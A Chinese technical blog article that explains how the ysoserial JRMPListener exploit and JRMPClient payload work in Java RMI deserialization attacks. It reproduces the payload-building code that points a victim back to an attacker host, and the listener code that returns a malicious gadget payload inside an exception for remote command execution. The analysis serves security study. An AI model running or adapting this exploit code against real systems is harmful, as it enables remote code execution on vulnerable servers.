ysoserial exploit/JRMPListener原理剖析
0 前言
上一篇文章讲了ysoserial exploit/JRMPClient的原理,本篇接着讲一下ysoserial exploit/JRMPListener的原理,相同的思路,我们结合着payloads/JRMPClient来分析。JRMPListener的攻击流程如下:
1、攻击方在自己的服务器使用exploit/JRMPListener开启一个rmi监听
2、往存在漏洞的服务器发送payloads/JRMPClient,payload中已经设置了攻击者服务器ip及JRMPListener监听的端口,漏洞服务器反序列化该payload后,会去连接攻击者开启的rmi监听,在通信过程中,攻击者服务器会发送一个可执行命令的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。
1 payloads/JRMPClient
1.1 Externalizable
在讲payloads/JRMPClient之前,我们先讲一下Externalizable,这是java提供的一个接口,实现该接口的类就具备了可序列化功能,下面总结一下它和Serializable接口的一些相同点与不同点:
1、实现Externalizable接口的类必须重写writeExternal(ObjectOutput out)和readExternal(ObjectInput in)两个方法,在这两个方法中可以自定义序列化和反序列化规则,而实现Serializable接口的类没有需要强制实现的方法。
2、假设类中有些敏感数据,我不希望在网络上传输该对象的序列化数据中包含该敏感数据,两种接口都可以实现:
(1)Externalizable接口,在实现writeExternal(ObjectOutput out)方法时,不对敏感数据进行序列化就可以
(2)Serializable接口,使用transient关键字修饰敏感字段,则该字段将不会被序列化。
对比一下,使用transient关键字修饰其实更方便。
3、两个各有特点,只能是根据不同的业务需求去选择使用。
下面我写了一个关于Externalizable的测试类,来进一步理解Externalizable:
public class Person implements Externalizable {
private String username; //用户名
private String password; //密码
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
//在序列化Person对象时,只序列化username属性
@Override
public void writeExternal(ObjectOutput out) throws IOException {
System.out.println("writeExternal is running ...");
out.writeObject(username);
out.close();
}
//反序列化Person对象时,只反序列化username属性
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
this.username = (String)in.readObject();
System.out.println("readExternal is running ...");
}
//测试
public static void main(String[] args) throws Exception {
//如下代码将person对象设值后进行序列化,序列化后的数据存于字节流中
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
Person person = new Person();
person.setUsername("zs");
person.setPassword("123456");
person.writeExternal(oos);
//如下代码从字节流中获取序列化数据并对其进行反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Person person2 = new Person();
person2.readExternal(ois);
System.out.println("username=" + person2.username + " passowrd=" + person2.password);//结果为username=zs passowrd=null
}
}
1.2 生成payload
以下为payloads/JRMPClient生成payload的代码,我添加了注释,其中通信所需的信息在后面分析中我们会看到其具体的作用。
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
//命令行获取ip值与端口值
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
//以下信息都是连接JRMPListener通信所需信息
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//这就是构造的payload,创建了一个Registry类型的代理对象,handler值为上面创建的RemoteObjectInvocationHandler
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
1.3 gadget链分析
如下为作者给出的gadget链,可以看到有两部分,其实就是在DGCClient.registerRefs(Endpoint, List<LiveRef>)方法中,有两个方法调用,且都对反向连接JRMPListener有作用,后面调试时可以看到。
1、根据上面的gadget链,我们就在UnicastRef.readExternal(ObjectInput)方法中设置断点:
2、跟入LiveRef.read(ObjectInput var0, boolean var1)方法,可以看到通过反序列化获取到了在生成payload时,创建的TCPEndpoint(包含要建立socket通信的ip地址与端口号)、ObjID对象(对象唯一标识),并使用这两个对象生成了LiveRef对象(该对象的具体作用没进行分析)。
3、继续跟入到DGCClient.registerRefs(Endpoint, List<LiveRef>),这里就是上面给出的gadget链中出现两个分支的地方:
4、先进入DGCClient$EndpointEntry.lookup(Endpoint)方法:
5、继续跟入DGCClient$EndpointEntry构造方法,可以看到使用前面创建的TCPEndpoint与DgcID创建了LiveRef对象,并且生成了DGCImpl_Stub代理对象,到了这里就明白了, 其实payloads/JRMPClient也是通过DGC通信,进而反序列化恶意payload的 。最后一行代码就是创建与JRMPListener的Socket通信,由单独的线程负责:
6、DGCClient$EndpointEntry.lookup(Endpoint)分支分析完了,然后进入DGCClient$EndpointEntry.registerRefs(List<LiveRef>)分支如下,代码较长,而且不重要,这里就不贴了,直接到最后一行:
7、进入DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)方法,还是直接到如下断点位置:
8、由于下一步调用的是DGCImpl_Stub.dirty(ObjID[], long, Lease)方法,前面我们也遇到过,DGCImpl_Stub类是无法调试的,于是直接查看源码,终于看到了熟悉的一幕,前面已经详细分析过了,这里就总结一下,第一个红框是交换一些信息,说明本次是远程调用,第二红框依然是发送一些数据,第三个框是处理响应数据。
9、到了这里后面的流程也很熟悉了,及时不调试,也能猜测到JRMPListener响应的恶意payload只能在下面两个地方触发:
(1)当响应的payload为异常类时,在UnicastRef.invoke(java.rmi.server.RemoteCall)方法中的StreamRemoteCall.executeCall()方法中触发的,如下,应该还记得,case1是正常,直接return,case2是发生异常时,这里会将异常对象反序列化:
(2)当响应的类为正常类时,则就在第八步图中的第四个红框中进行反序列化。
这里后面通过调试,发现是第一种情况,也就是JRMPListener响应回来的是一个异常类,就不贴图了,后面就分析一下exploit/JRMPListener
2 exploit/JRMPListener
由于这里代码量较多,因此就不一行一行写注释了,而且大部分都是通信中交换数据的,之前也分析过,这里就略过通信过程,直接挑一部分重点代码进行分析:
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
ObjID read;
try {
//这里读取到的是JRMPClient端发送的DgcID
read = ObjID.read(ois);
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}
//这里如果判断是否为Dgc调用,DgcID为[0:0:0, 2]
if (read.hashCode() == 2) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
//这里发送81,也是为了防止JRMPClient抛出transport return code invalid异常
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
//这里发送2,就会进入分析JRMPClient时的第九步中第一种情况的case2中
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
//这里生成了一个异常类,其中包含一个Object类型的属性,名为val
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
//这里将恶意payload赋值给了val属性,在反序列化BadAttributeValueExpException类时,val值也会被反序列化,从而触发命令执行
Reflections.setFieldValue(ex, "val", payload);
//将payload发往JRMPClient端,payload会被反序列化
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
如上代码注释写的很清楚了,这里也明白了在分析payloads/JRMPClient时的第九步中为什么会进入case2。
3 总结
1、如果RMIClient请求RMIServer时的ip地址和端口号是攻击者可控的,则都可以使用exploit/JRMPListener进行攻击(其是通过dgc通信进行攻击),例如RMIClient执行如下代码连接到JRMPListener,即可遭受攻击:
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
Object obj = registry.lookup("xxx");
2、在一些特殊情况下,可以结合payloads/JRMPClient进行攻击。